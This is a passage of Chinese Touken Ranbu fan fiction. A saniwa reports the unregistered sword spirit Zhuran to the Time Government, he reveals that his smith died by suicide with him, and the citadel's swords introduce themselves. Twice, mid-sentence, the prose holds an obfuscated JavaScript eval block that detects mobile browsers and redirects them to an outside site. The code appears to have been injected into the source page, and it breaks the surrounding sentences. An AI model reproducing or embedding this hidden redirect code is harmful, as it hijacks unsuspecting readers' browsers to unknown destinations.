抬头敬奉的八百万神明当中,偏偏是最末流的付丧神们,率先向渺小的人类回以自己的情感。 她深切地感受到这份偏爱的美好,也谴责浪费这份感情的人又该有多么冷血。 眼前的祝染也是如此,他毫无保留地在第一时间献上自己的忠诚,面对她的问询坦诚自己的来历,但是现在,她只能苦笑着做自己最讨厌的事情,却必须坚定自己的做法。 毕竟有些东西是绝对不能被放在赌桌上的,哪怕是万分之一的可能性也不可以。 在她沉默的注视中,祝染静静地看着她,不急,也不解释,只是嘴角一点一点地翘起来。 4. 上报给七舅姥爷 祝染嘴角维持着笑的弧度,粉色的眼睛在光的折射下,漾起桃濑灯里看不懂的涟漪。 他突然抬手伸向了自己的腰间—— 刚刚因为严重光污染,一直没来得及看清楚的,他的本体剑。 祝染将剑从腰间的悬带上解下,把它放到桌上,轻轻地推到了桃濑灯里面前,神情轻松但语气非常郑重: “姬君大人,很高兴能听到您的真心话,请务必将我上交吧。” 啊? 他这完全出乎意料的行为如同炸弹般石破天惊,炸得桃濑灯里思绪完全停滞,只能愣愣地看着他,又下意识低头去看眼前的剑。 那是一振就如他本人一样光彩流转的剑。 剑鞘并非寻常冷兵器常用的、便于隐藏的暗漆色,而是极为罕见的洒金与绛红相间。晨间的光线照拂下,便仿佛有火焰与霞彩在其中流动。 仔细看去,会发现鞘面也并非单纯的平漆,而是以莳绘工艺点缀——细若尘沙的金粉铺出莲花与云纹,仿佛祭祀乐舞中神灵脚下的瑞光。不难想象随着佩戴者的步履移动,花纹与光影一同摇曳,就会像是真正步步生莲般活过来的景象。 鞘口与鞘尾皆以金饰包围着,其上雕刻着着简洁而优美的勾玉与藤蔓纹路,寓意延续与庇佑。并不繁冗,却有一种肃穆的华美。 剑挂的组绳是温润的浅绯色,与金线盘错打成规整的结,尾端垂坠着像葡萄串一样同样流光溢彩的碎小金珠。 还没有出鞘,就已经感觉到了作为祭祀剑的威严,还有作为皇室御物的花里胡哨。 对于刀剑来说,这振剑的装饰属于是相当超过的了,甚至已经到了骄奢淫逸的程度了。 可能是因为本丸的刀剑们实战刀居多,所以桃濑见过的大部分的刀剑本体在造型上都更注重实用,只偶尔在刀鞘上有些巧思设计,也相当克制。 比如在战场上长大的药研藤四郎,他的刀鞘上同时装备着笄和小柄,既有装饰的作用,平时也可以作为小刀救急使用,甚至还用来帮桃濑盘过头发。 稍微夸张一点的,比如鹤丸国永,他的本体刀鞘洁白流畅,像鹤舒展的翅膀一样,上面挂着两串秀气的金链装饰,在使用时会发出当啷撞击的响声。而为了恶作剧时不被发现,鹤丸国永也会偶尔把装饰拆下来。 桃濑灯里颇有负担地将剑拿起来,小心翼翼地抽出剑刃。 真的没法不担心啊……实在是太过华丽了,感觉平时缺钱了可以来握着剑鞘磨蹭,肯定能蹭下金粉。 随着鞘口一声清脆轻响,流光自狭窄的缝隙迸散开来,像是黎明第一道破晓的光辉—— 剑身修长笔直,通体澄澈,映光时却并非是纯粹的银白,而是泛着若隐若现的浅桃色光辉,那光辉并非是染色的效果,而更像是钢铁在极致淬火中自生的奇迹,是在高温煅烧后,仿佛樱花花瓣般落入砥水的证明。红色的烈火在冷却中点点散开,却又在冰冷的刃面上凝固成永恒的印记。 剑身两侧开刃,加上是直剑的缘故,刃纹也像光带一样从两侧延展,均匀地被粉色的剑光包裹。浮光掠影下,就像樱花飘落在水面泛起的涟漪,微微颤动,随之荡开一种难以言说的神圣之感。 这样一振剑,即使只静静地摆放在那里,也让人忍不住屏息,它的存在本身就像是一场不落幕的神事。 桃濑灯里感觉压力更大了,她下意识地开始想象刀匠到底是怀着怎么样的心情打造出这样的剑。 集尽了对神明世界华美风姿的想象与祈望,又完全是权倾朝野的藤原氏穷奢极欲的投影。 对于本身作为武器的刀剑来讲,这样的造型装扮,到底是祝福,还是诅咒? 其实日本锻刀的历史源远流长,刀剑被锻造出来也不都是为了作战,不同的刀种作用也各不相同。比如短刀因为体型便于携带,往往是主人们的护身刀,因此对于很多房中私事,反而是这些显现后看起来像小朋友一样的小短裤们懂得更多。 粟田口的包丁藤四郎甚至有自己的审美体系,固执地喜欢着人妻系,还被抓到过和笑面青江一起走私写真。 而打刀和太刀们就大多是用于作战的实用性刀剑,只有出阵时会带上,其中打刀和胁差又可以相互配合,也造就了日本剑道中“二刀流”的先例。 大太刀们因为体型过于大,很少有人能够举起,所以在用途上也出现了新的发展。有像萤丸那样的战场人头狗,抢誉收割机,也有太郎太刀和石切丸那样作为人们寄托平安驱邪意向的神刀的刀。 但是哪怕是作为神刀的太郎和石切丸,造型也更多是古朴大气,作为被人们供奉信任的存在。 而祝染这振剑,看起来更像是献给神明的礼物和工具,而不是本身被人们所信仰。 在面对祝染本体出鞘的这一刻,无论是她还是祝染本刃都安静了下来。 桃濑灯里用尽全力让自己不要手抖地把剑放回桌上,抬头去看祝染,却发现对方也在看着自己的本体。 剑光映在他粉色的眼眸里,眼睛里的颜色随着刃纹的光影在明灭间流动,让人无法分辨究竟是剑的存在在映照他,还是他在为剑赋予新的意义。 据说,刀剑付丧神们在思考的时候,也习惯凝望于刀剑。 “…….真的好漂亮啊。”祝染低声喃喃,声音却带着几分自嘲,像个不信任自己说出的这句话的孩子。 他执拗地看着剑身中映出的自己,目光晦暗,仿佛想要从刃纹中找寻什么答案,但最后却只看到一张笑容勉强的脸。 旋即,他好像突然察觉到了桃濑灯里的注视,抬起了目光迎了上去,眼角依旧保持着淡淡的笑意,但看起来却怎么都不算开心地询问道: “人家超漂亮的,对吧,姬君大人?” 看着他不太着调地朝桃濑灯里做了一个wink,察觉到对方情绪不佳的桃濑灯里有些无措,她还没来得及回答,祝染就突然笑盈盈地伸手,动作随意地把剑重新纳入剑鞘,收回身前。 “连我自己都不敢直视太久呢。” 他的手好像是无意识地在摩挲着剑鞘的纹路,语调上扬看似漫不经心在喟叹,但桃濑却看得很清楚他的指尖在隐隐颤动。 桃濑灯里勉强压下心神,她终于张了张嘴,却实在不知道该怎么接话,只能大脑短线一样,仅凭着身体记忆取出了通讯器。 至少就上交政府这一点,他们率先达成了共识。 “……这里是桃音,本丸新入一把时政刀帐上未登记的刀剑,自称名为祝染,刀种是直剑。申请上报。” 桃濑灯里能明显地听到自己的声音在胸腔和鼓膜内回响,随后她的指尖稍有迟疑,然后妥协似得点击了某个熟悉的联络方。 时政确实明文规定了“未登记付丧神必须上报政府”。 但是只说了上报政府,没说不能是在政府当公务员的七舅姥爷啊。 反正一定都要上交,与其让对方像个囚犯一样被时之政府直接带走面对冷冰冰的审查,走七舅姥爷的关系也算是温情执法了…… 桃濑灯里相当勉强地开导自己。 尽管……也许再也不会有下文,那双云蒸霞蔚般的眼睛,可能再也不会在本丸的晨晖里出现。 桃濑难得地希冀时间能慢一点,回复能慢一点来。 好奇心是人类与生俱来的天性,有的人用它来指挥意志,探索发现新的大陆,也有的人被它愚弄,陷入万劫不复的深渊。 而祝染刚刚这明显是逃避和有故事的表现,让她无可避免地对他产生了更多的好奇,明明已经决定了要上交政府,此时不需要有更多的接触了,她还是情不自禁。 然而,她的意志改变不了时之政府的运行,通讯器很快就传来轻微的闪烁。 时政统一配备的政府频道十分便捷高效,一切走这个频道的事情都会被立即安排处理,而通过这个平台所发出的回复,连点击都不需要就可以直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411469|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 播放。 有的时候,比如一不小心出阵时流落到时空夹缝求救的时候,确实是非常关键好用,但这个时候就显得非常冷漠残忍,像是直接通过飘弹幕告诉人高考成绩一样。 桃濑灯里下意识有些畏缩地闭了闭眼,不太想听到预料中的结果。 但播放器非常忠实,七舅姥爷公事公办的淡漠声音从里面流畅地传出: “政府收到,你先暂时安置,我们会在搜集信息后上门处理。” 桃濑灯里心头一怔,愣愣地睁大眼。 没有明确的指令。 没有立刻的处理。 相对于时之政府现在早就成熟的办事体系,是个相当暧昧的回复了。 难道是高层们也在为祝染的存在犹豫? 但是无论如何,这些不是她揣测就能有结果的内容。她收起通讯符,微不可察地松了一口气,看向从刚刚开始就在规规矩矩抱着本体跪坐着,沉静地看着她通讯的祝染。 对方明显也听到了通信内容,其实不需要她再去复述了,但桃濑灯里觉得她需要以本丸审神者的角度,再对他给出明确的回复。 桃濑灯里整理了一下自己的表情,尽量让自己显得正式: “你被暂时留下来了,政府之后会来,时间还不确定,但我也会对你进行观察,如果你表现有问题的话,我会随时把你交出去。” 随后,她犹豫了一下措辞,直视着祝染粉色的眼睛,面上扬起和善的微笑: “那么,祝染,欢迎你暂时来到C7418号本丸,我是审神者桃音。” 而在她的注视之下,祝染的眼睛一点一点像燃烧的烟花一样亮了起来,他露出了一个迄今为止最大的最灿烂的笑容,眉眼弯弯,带着长长的白色睫羽都勾起愉悦的弧度:“我保证会很乖的,姬君大人。” 桃濑灯里也露出更大的笑容。 虽然要经常和溯行军作战,但是现在时政的体系非常完善,对于审神者的保护也很到位,战场上的事情还没有给她留下过阴霾。 而说到底她毕竟也只是个年轻大学生,日常的常态还是非常活泼开朗的,甚至有的时候会因为过分开朗带着短刀们胡闹,而被付丧神们家长们一起批评。 自祝染显现到现在这段短短的时间里,越是接触,她对祝染的好奇心就越强烈,包括对方所说的过去的记忆。 其实从祝染刚出现的时候,桃濑就很激动了,难以言说的过往,配上祝染相当漂亮的外貌,完全是当下最流行的美强惨设定,简直是像鱼钩一样要把她钓成翘嘴了。 如果不是因为要作为审神者对本丸负责,加上有可能戳到别人的伤疤,她早就哇库哇库了。 但毕竟生活不是追番加推那么简单。 美强惨的萌点,也是对方深夜咽下的咸涩的眼泪。 不过现在既然比较严肃的问题解决完了,桃濑灯里心中的悬剑也算是放了下来,也自然不需要继续摆出冷硬的姿态了。 可以小聊一点。 “你除了被用来祭祀之外有其他用途吗,真的就逢年过节拿出来展示一下?” 她尽量让自己的话语不要那么冒犯,能够轻松随性一点,心中其实隐隐为祝染打抱不平。 只作为展品而存在,那作为刀剑来讲,该多么寂寞啊。 被一直敬而远之的保存,绝对不是刀剑们想要的生活。 而被对方同情着的祝染洒脱地摇了摇头,他垂下眼,睫毛在眼底投下一层阴翳,语调却相当轻快地说道: “当然不是了,我也姑且算是见过血的血气方刚的刀剑男士呢。”没说两句话,又开始插科打诨。 “姬君大人难道是怀疑我的战斗能力吗?作为国秀的绝唱,他还是给了我一点使用价值的。” “毕竟……”祝染的语气突然沉了下去,刚刚还算是似笑非笑的戏谑,现在表情空余一片冷淡。 “国秀是用我自刎的呢。” 5. 七舅姥爷我见鬼了 “国秀是用我自刎的呢。” 话音最后一个字落下的时候,祝染的指尖轻敲剑鞘,发出了一声及其短促的闷响。 像是棺木合上的声音。 而他左耳边与眼睛同色的耳钉,在他聊到祝部国秀时折射出浅淡的波光,低下头来的时候就像脸颊一滴将落未落的眼泪。 祝染,用很平淡的语气说出了相当恐怖的话呢。 哈哈,被亲手铸造自己的刀匠用来自刎,沉重得说出去撒旦也要为他默哀三十秒。 桃濑灯里现在简直想给这位祖宗磕一个了,本来只是想聊一点轻松愉快的拉近一下距离,但是却轻而易举地踩到一个又一个雷,负罪感不断加加加加到厌倦。 已经不仅仅是扫雷那么简单了,她现在需要的是石切丸来给她驱邪,数珠丸恒次的木鱼也得给她敲起来。 如果可以的话,从今以后地狱笑话界就是四大天王了:死后会变成五星上将的商鞅、高速公路上的路易十六、喜欢小男孩的欧洲神父、祝染。 气氛微妙得让人窒息,桃濑灯里想说点什么打破这种诡异的氛围,又不知道该说什么,想干笑两下,又觉得不太合适。 沉默,沉默怎么又是今早的本丸。 不对,现在是上午了。 桃濑早已在内心捶胸顿足无声呐喊。 岂可修,假笑的本事还是不像三日月宗近那么炉火纯青吗。 哈吉月你这家伙,或者长谷部,哪怕是鹤丸也好,谁来救救我。 然而,最后终究是她一个人扛下了所有,本丸的付丧神们都被她打发出去干各自的工作了,只留审神者一人面对如此狂风暴雨。 室内的光线逐渐暗淡下去,又突然被轰隆的声音和电光炸亮。 ——天守阁外的天气骤然就转为了雷雨天。 外面是雷霆暴雨,屋内是祝染看似平和但是其实很难衡量精神状态的凝视,桃濑只能独挑大梁绞尽脑汁很勉强地措辞回应道:“……节哀顺变?” 然后她大脑一混沌地极速思索,觉得这样的回复听起来实在是太干涩,于是小心翼翼地又补充了一句: “万一他是想跟你虐恋情深,让你永远记住他?” 话像流水一样带着二氧化碳流了出去,连她自己都不敢直视自己说的。 完蛋了,说的话大错特错了。 桃濑灯里选手,out! 桃濑灯里现在觉得她应该也给自己磕一个,人怎么能把天聊到这种境界。 又是一个惊雷乍现,从背面照亮了祝染的半侧脸,骤亮之下,那双总是带着光的粉色眼睛在电光火石之间明灭得诡异,如同鲜花被烈火焚尽之后留下的一层余温的灰烬。 他眼睛静静地垂下,明明眼角没有泪,却更加令人心悸,眼底最深层的颜色浓得暗红好像要滴落出血泪来,那抹颜色在昏暗的光线中像独自燃烧的月石,付丧神那种非人的感觉在这一瞬间无比明显。 配上对方似乎是在皮笑肉不笑的僵硬表情,美丽,幽冷,又带着深不见底的孤绝,像是精怪小说中会在雨夜旧庙中出现的鬼神。 悲极生艳,但太不道德了。 “是啊,确实是永久性地记住了。毕竟我的记忆也就是从他自刎那一刻开始的。” 祝染的声音幽幽地传来。 他的目光似乎没有聚焦,又好像已经穿透了现实,在凝望黄泉的彼岸。 刹那间,桃濑灯里甚至错觉自己并不是在看她眼前真实的祝染,而是在看一缕执念不散的残魂。 正在这份凄然几乎要压垮空气的时刻,在她为此感到手脚冰凉即将彻底混乱之前,突然听到了“噗呲”的笑声。 在她错愕的目光中,祝染肩膀轻颤,嘴角生生勾起一个明艳的笑容,像是憋不住的恶作剧终于泄露出了风口。粉色的眼睛迅速地被丰富的情绪填满,狡黠、像灯火一样明亮。 “姬君大人,被吓到了吗?”他拖长了尾音,声音里带着一点撒娇的轻佻,“毕竟是姬君安慰人的水平太差了,人家要是还要配合假笑,不就太无趣了吗——” 他像什么都没有发生过一样,仿佛刚才那一瞬间的空洞凄绝才是一场虚幻的泡沫。 桃濑灯里很清楚刚刚的情绪绝对不是表演,而且问题也很多。 刀剑付丧神们的记忆往往是从被锻成后就开始的,一直延续到近代,只有少部分的刃会因为特殊的原因丢失记忆。比如在大阪城的冲天火光中几乎被完全烧毁的一期一振,和胁差双子鲶尾藤四郎、骨喰藤四郎。 祝染这种情况,也是类似的创伤后失忆吗? 但此时此刻,这个话题已经不适合再继续下去了,她的心脏刚刚还像沉重地压着滚石,这会儿又被他这声笑声炸了一下,这对于一个起早贪黑本来心脏就超负荷工作的时政社畜打击简直太大了,桃濑只是强忍着没有扶墙跪下了。 但话题终究要找一个体面的方式收尾,她也只好压下心中的疑问,心照不宣地伸手在脸边扇了扇,配合着转移了话题道: “本丸规则第一条,禁止对审神者恶作剧,上一个恶作剧的人你也看到了,现在还在地里种红薯呢。” 祝染抿着唇笑了一下,从善如流地低头认错找补。 室内的气氛终于渐渐消融,天守阁门口却突然传来了急匆匆的脚步声。 门板被人从外面猛地拉开,撞到墙上发出巨响,脆弱的纸障摇摇欲碎,门口悬挂着的刀铃们被震动波及,相互撞击引发了杂乱的响声,吓得桃濑灯里和祝染两个都身体一僵。 “阿路基sama!!!” 身穿紫白相间内番的青年破门而入,修长的手半覆在刀柄上,他的眼神锐利冷冽,指尖已经在隐隐蓄力,仿佛随时会拔刀而出将敌人压而切之。 而他的视线扫到祝染的刹那,整个刃的气场都更冷了几分,带着森然的杀意与警惕,但在看到一切如常的桃濑灯里时,明显松了一口气收敛了动作。 本丸第一主控刀堂堂来袭—— 是压切长谷部,还有他身后鬼鬼祟祟尾随的一大帮刃。 一期一振和探头探脑的粟田口短刀胁差们,穿着白色内番服还抱着铁耙的鹤丸,包裹着被单瑟瑟挤在人群中的山姥切国广,还穿着出阵服的冲田组一行人和山姥切长义,甚至还有今天被桃濑灯里多次想起的三日月宗近和他的哥哥小天狗今剑。 好多人啊。表情包.jpg。 几乎是小半个本丸的刃都来了。 被一群刃目光炯炯地盯着,桃濑灯里也不知道发生了什么,有些僵硬地问道: “发生什么事情了吗?怎么大家都过来了?” 压切长谷部按耐住想要冲上去开始左手右手慢动作,右手左手慢动作重播地开始检查桃濑灯里是否真的安然无恙的念头,行了个鞠躬礼语气担忧地看着桃濑: “本丸刚刚雷电交加,主公大人心情不好吗?需要我为主公大人分忧吗?” 原来这样。桃濑灯里也松了一口气。 时政坚决贯彻一审神者一本丸制度,审神者以灵力注入本丸之后,便拥有了对本丸的绝对掌控权,从最基础的天气会随着审神者的心情变化,到审神者可以根据需要改变四季景趣与晨昏日夜。 应该是刚刚被祝染吓得一惊一乍,没控制好本丸的天气。 这对于桃濑灯里这个已经经验丰富的审神者可是相当罕见的,难怪大家都一窝蜂地跑了过来。 为了让付丧神们安心,她连忙站起来摆摆手连说带比划地卖力解释道: “我没事!就是刚刚听新人的故事有点听入迷了,就是……你懂吧?跌宕起伏,荡气回肠,实在太精彩了,我忍不住涕泗横流潸然泪下花颜失色大惊小怪!” 鬼话连篇但也似乎确实是真相。 “哈哈哈,原来这样,姬君真是朝气蓬勃呢。”三日月宗近笑眯眯就接受了这个说法,从刚刚开始他的表情在众人中就显得很淡然,完全是一个路过看戏的路人老爷爷。 “主殿……”一期一振欲言又止,最后只是露出一个困惑但无奈的微笑。 压切长谷部的眼神还是将信将疑,在桃濑灯里和祝染之间来回打转——又是一个来抢阿路基的新人! “哦?这么有意思!真是意外惊喜啊!”鹤丸国永单手杵着锄头笑容满面。 面对付丧神们带着疑虑和担忧的目光,桃濑灯里稍微有点羞耻,但身后的罪魁祸首却忍俊不禁笑了起来。 她回头恶狠狠地用眼神睕了笑的花枝乱颤的祝染一眼,看到对方早已经把刚刚那些悲伤的气质收敛得干干净净,此刻的笑容迎着天守阁雨后初晴的暖光,真正的仿佛明亮到没有任何阴霾。 似乎也很不错。 桃濑灯里感觉自己的心头的乌云也终于破开了一角,新鲜的空气灌入了身体,她也放心地笑了笑,转回身来: “既然大家先来了,那就提前认识一下吧,稍后晚饭时间等大家都在食堂集合再正式介绍。” “我身后这位,是算是被政府暂时寄养在我们本丸的新付丧神,祝染。平安末期藤原氏刀工祝部国秀所打造的祭祀剑,有海外经历的归国侨刀,平安小登,之后一段时间和大家就是伙伴了,要好好相处。”桃濑灯里的语言相当凝练,重点也很全面。 其实还是本丸新晋地狱笑话协会理事长。 而祝染也很配合地起身把本体挂好,乖巧地向众人鞠躬问好: “各位请多指教。” “哇哦,小哥居然是平安时期的刀吗,真是看不出来。”性格开朗大方的加州清光率先表示了友好,他刚刚从远征中回来,完全不知道发生了什么,只是看着天气不好担心主人就跑了过来,此时对于秀气漂亮的祝染印象还算不错,像猫一样靠在大和守安定身上笑容明媚。 “哟,我是河川下游之子,加州清光,被主公大人疼爱着的刀呢。” 感觉新人穿搭很时髦,万一可以发展成一起看杂志涂指甲的好朋友呢。 毕竟跟安定讲安定也只会无条件捧场,建设性的意见还是要找同好商量。 “我是大和守安定,冲田总司的爱刀之一,请多关照。”太熟悉好友了,哪怕听不到心声也能感觉到加州清光这个时候在吐槽他的大和守安定有些无奈。 “我是土方岁三曾使用的名刀,和泉守兼定,这便是我的搭档。”站在边缘位置的个子的黑发红衣青年微微低头行礼致意,他旁边个子稍矮的同样黑发的少年也紧随其后: “我是堀川国广,请多指教。” 其实很早就变成旅行青蛙在欧洲周转的平安小登祝染露出了礼貌的微笑一一回礼,在心中认真记录。 自我介绍曾经的主人是谁是刀剑的时尚吗?感觉可以学习一下。 “……请多指教,我是本丸的总务番长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411470|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压切长谷部,但请不要喊我压切,喊我长谷部就可以了。”压切长谷部虽然放下了心,但对于这个给主公带来惊吓的新人依旧有些怀疑。 “山姥切国广,不要对我有什么期待……”缩在被单里的声音闷闷不乐地穿出来。 “真是上不得台面啊,赝品君。”他旁边的银发青年姿态骄傲,看起来恨铁不成钢地瞪了山姥切国广一眼,对方在被单里也有所感应似得畏缩了一下,露出的手抓紧了被单的角。 “我才是由长义打造的本歌,山姥切。” 而趁着刀刀们在进行互相介绍、悄悄回去赶公文的桃音在旁边有感应地抬起头补充道: “本本是时之政府的监察官,如果你有什么问题可以问他。” “好——本本老师请多指教。”祝染依旧从善如流。 “谁是本本啊喂!”山姥切长义炸毛瞪他一眼。 “我是鹤丸国永,是五条派的,同样是平安时代被锻造出来的,算是很受欢迎也很苦恼的刀。”从拆箱子的时候就在现场一直跃跃欲试的鹤丸国永终于有机会搭上了第一句话,鹤的直觉告诉他,这振叫祝染的剑绝对会很有意思。“你的红绸很漂亮,被我送去给歌仙洗掉了,之后记得取哦。” “那就多谢鹤丸先生了。”迎着那双金色的野兽般的眼睛,祝染笑意盈盈。 “我名叫三日月宗近,三条派的太刀,打除刃纹较多之故,乎为三日月。身为天下五剑之一,被称为最美,诞生于十一世纪末,也就是说,也是个平安老爷爷了呢。”明明穿着一身让人不敢恭维的连体毛衣和黄色头巾,却硬生生靠脸顶住了的深蓝发青年笑眯眯地看着祝染,眼睛里明黄的弯月勾魂摄魄。 “我是今剑!同样是三条派,是三日月的哥哥哦!请多多关照我这个弟弟吧!”他旁边个子小小的小男孩踩着木屐动作轻捷地蹦蹦跳跳。 “我是一期一振,出自粟田口吉光的唯一的太刀,藤四郎是我的弟弟们。”同样是第一时间就在而且总是有些忧郁的水蓝发青年礼貌地问候着,动作优雅还游刃有余地把一群小短刀们很有秩序地聚集在了一起,从某种意义上讲是个相当具有幼师才能的人。 “鲶尾藤四郎!旁边是我的兄弟,骨喰藤四郎,请多多指教!”一期一振旁边稍矮一点的两个少年中,黑发的那个活泼地开口接话,被他拉着的白发少年只是表情冷淡地点头配合。 而粟田口的小短刀们的性格就很丰富了:稳重认真自我介绍说自己有在兼职医生的药研藤四郎、比较害羞内敛但是怀里小老虎很闹腾地要伸爪子去勾祝染衣服上流苏的五虎退、展示自己外观很像菜刀还大胆分享自己人妻爱好然后被花容失色的一期一振捂嘴的包丁藤四郎、像红色的发色一样活泼热情的秘藏之子信浓藤四郎、虽然个子很小但很可靠的双胞胎前田藤四郎和平野藤四郎、穿着漂亮裙子但英姿飒爽的乱藤四郎、大阪口音很重的会计番长博多藤四郎,小短裤们叽叽喳喳热闹非凡,介绍完自己还不忘带上他们还在忙内番的兄弟们。 祝染细细数过来,发现这位一期一振一共有十四个弟弟,家族之壮大简直让独生刃叹为观止。 祝部国秀作为藤原氏的御用刀匠本来作品就稀少,他还在日本的时间里似乎也没有看到其他的作品流传。 “眼睛是粉色的!好漂亮哦!”信浓藤四郎几乎要贴到祝染面前,结果被乱从背后架着胳膊迅速拉走,“靠太近很失礼啦!” “衣服也是军装但跟我们不一样呢!这面料,应该很贵吧?”财迷博多眯着眼上下打量,若有所思地扶了扶眼镜,似乎在思考新的商机。 “头发……也是白色。”——五虎退小心翼翼地探出脑袋,声音细小轻柔,小老虎们却突然在他怀里发出“嗷呜”的声音,吓得他羞红着脸赶紧缩回去。 祝染被自我介绍完还没走的刀剑们围在中间,始终维持着愉快的笑容,他微微弯下身,语气轻快地跟小短刀们互动着话题: “衣服……其实是别人硬塞给我的?我觉得有点招摇,但是比平安时期的衣服要好穿很多呢。”旁边不会自己穿出阵服的三日月和出阵服虽然纯白但同样构造复杂的鹤丸国永莫名有些羡慕。 “退退的头发颜色也很好看,像糖霜一样哦。” “眼睛?谢谢夸奖啦——” 一工作起来就发狠了忘情了的桃濑灯里似有感应地抬头,安心地看到祝染眼底的那抹晦暗终于完全消散,取而代之的是更灿烂的笑意。 果然付丧神们还是有共同话题的,毕竟哪怕是一些前主人们水火不容的刀剑,在本丸的朝夕相处共同战斗中也逐渐和谐相处了,而祝染能融入其中就最好不过了。 她轻松地叹了口气,把心头积压的郁气彻底排尽,然后气沉丹田大喊道:“我要工作啦!!!不想当壮丁的都赶紧出去!!!不然就留下来帮我干活!!!” 刹那间,刃群就散去了一大半。 鹤丸国永趁乱拉着祝染的手腕就往外跑,胁差双子和小短刀们也簇拥着他们一起,甚至因为机动高而像风卷残云一样率先涌了出去。 其中还掺杂蒙着被单看不清路所以被人流裹挟了的山姥切国广,大摇大摆回去喝茶的三日月宗近,和还要去看书的药研藤四郎。 只留下同样是时政社畜的公务员小伙长义君、发自内心爱主公爱工作的压切长谷部,和总是很温柔可靠不可能见死不救的一期一振。 6. 七舅姥爷这里有公主病 雨后的本丸湿润清新,天守阁外庭院的青石板上积攒着零碎的水珠,边缝里的苔藓泛着光青绿的光,空气中弥漫着泥土与青草香,一派生机盎然。 远处山丘上的万年樱也舒展着枝条,湿润的花瓣随风轻雾飘落下来,仿佛在欢迎着陌生的新人。 而在绝望的社畜桃濑灯里放话后,众刃虽然带着祝染风卷残云般地从天守阁落荒而逃,却面临了无处可去的难题—— 虽然空气质量清新了,但到处都是潮湿一片,尤其田当番和马当番的场地,已经可以用混乱泥泞来形容了。 所以大家今天的内番自然是进行不下去了。 小短刀们积极地提出建议,但平常喜欢去的地方也都被一一否决: 万叶樱下的草坪是大家平时集会聊天的热门场所,但此时草地湿漉漉的,坐下绝对会弄脏衣服——歌仙兼定虽然认为将衣服清洁干净的工作甚为风雅,总是自称是风雅的文系刀,但其实他名字的由来是连续斩杀了三十六人而被联想到了“三十六歌仙”,从某种意义上是位战力相当恐怖的付丧神。如果故意增加他的工作负担,绝对会被清扫番长大人提着刀,当成第三十七位歌仙切成刀削面的。 显现成人身之后也会有烦恼的付丧神们也很喜欢在部屋的房檐上谈心,但是一两个刃在房顶上秉烛夜谈对月抒怀是解压时刻,一群刀挤在一起坐在房顶上就是给房顶装避雷针和吉祥物了,又不是宫殿建筑,不需要左一排右一排的石狮子啦。 大广间倒是可以同时容纳大家,但是过两天时政的季度巡检和本丸等级评定就要开始了,作为待客门面的大广间现在已经今非昔比,除了每天负责打扫清洁的值日刃没人能进去。甚至值日刃的名单都是压切长谷部精挑细选的,喜欢打闹的付丧神们一律打发不排,喜欢偷懒的也不考虑,只留下干活踏实的,比如大俱利伽罗、烛台切光忠这种成熟稳重的刃。 去部屋?听上去合情合理,但是粟田口的短刀们屋里除了他们还有小叔叔鸣狐和白山吉光,鸣狐倒是好说话,但是白山君算是也在给时政打工的刃工智能了,大家虽然不怕他但是都不太敢打扰他办公。像山姥切国广和鹤丸这种自己住的当时选的又是小房间容纳不了这么多人,当然,山姥切国广也没有打算邀请他们去自己房间。 他只是一个想跑又被邪恶鹤丸拽住了被单跑不掉的可怜刃。 “山姥切,要多参加集体活动嘛。”鹤丸国永如是蛊惑道。“作为本丸的初始刀,主公不在场你就是本丸的门面啊,要替主公好好观察新人的表现啊。” 其实鹤丸才不觉得祝染会暴露什么问题,他就是想把山姥切国广一起来过来玩,人多会比较有惊喜感。 今剑倒是很仗义地邀请大家一起去三条派的部屋,但是大家想到会有一位和蔼喝茶的老爷爷背后灵在旁边慈祥地看着他们,都纷纷表示还是不打扰了。 最后大家聚在原地纠结许久都找不到合适的地方,探讨着探讨着都变得可怜巴巴地蹲在地上,像是被遗弃的小狗一样。 还是被给桃濑灯里送完茶点后恰巧路过的好心刃烛台切光忠一起打包捡了回去。 烛台切光忠最开始是和同是伊达组的太鼓钟贞宗、还有同为长船派,但随时在准备着旅行经常不在家的本丸旅行青蛙小龙景光一起住的,但是后来随着本丸刀剑越来越全,太鼓钟贞宗回了贞宗部屋和兄弟们培养感情,就只剩下了小龙景光和他。 而现在小龙景光又读作旅行写作流浪去了,发了集会讯息通知他,但今晚也不一定回来。 诚如谚语所言,所有男人都可以称为爸爸,但只有极其富有魅力的成熟男性才能被称为daddy。 烛台切光忠现在就可以被推选为本丸的一日daddy。 烛台切,虽然看上去有点像空巢老人,但简直帅气地在闪闪发光。 然而,一波未平一波又起,刚到部屋,大家就遇到了问题,开始面面相觑。 ——身穿英式制服的祝染,拒绝脱下他的靴子只穿袜子上榻榻米。 天守阁是每个本丸统一配备的中枢建筑,外表是典型的和式建筑,但审神者们可以根据自己的需求对内部进行调整。而这座本丸的天守阁内部,为了方便生活,完全按照桃濑灯里在现世的习惯改成了木质地板的现代家装。 虽然最后还是置办了日式矮桌,但其实使用频率很低,不用的时候可以随时挪走,毕竟地板比较坚硬,想要跪坐还必须要用厚垫子垫着才不至于膝盖肿痛。 只是最近桃濑灯里从现世刚刚回来,堆积的公文太多原本作为办公桌的桌子放不下了,又想一边吃饭一边赶工,才重启了矮桌。 而现代地板的好处是,可以穿拖鞋。 他们的审神者啊,是位彻底的居家毛绒派,最喜欢的就是可爱的拖鞋和睡衣了。 所以,刚刚在天守阁,祝染可以直接穿着鞋子跪坐,但是现在不可以。 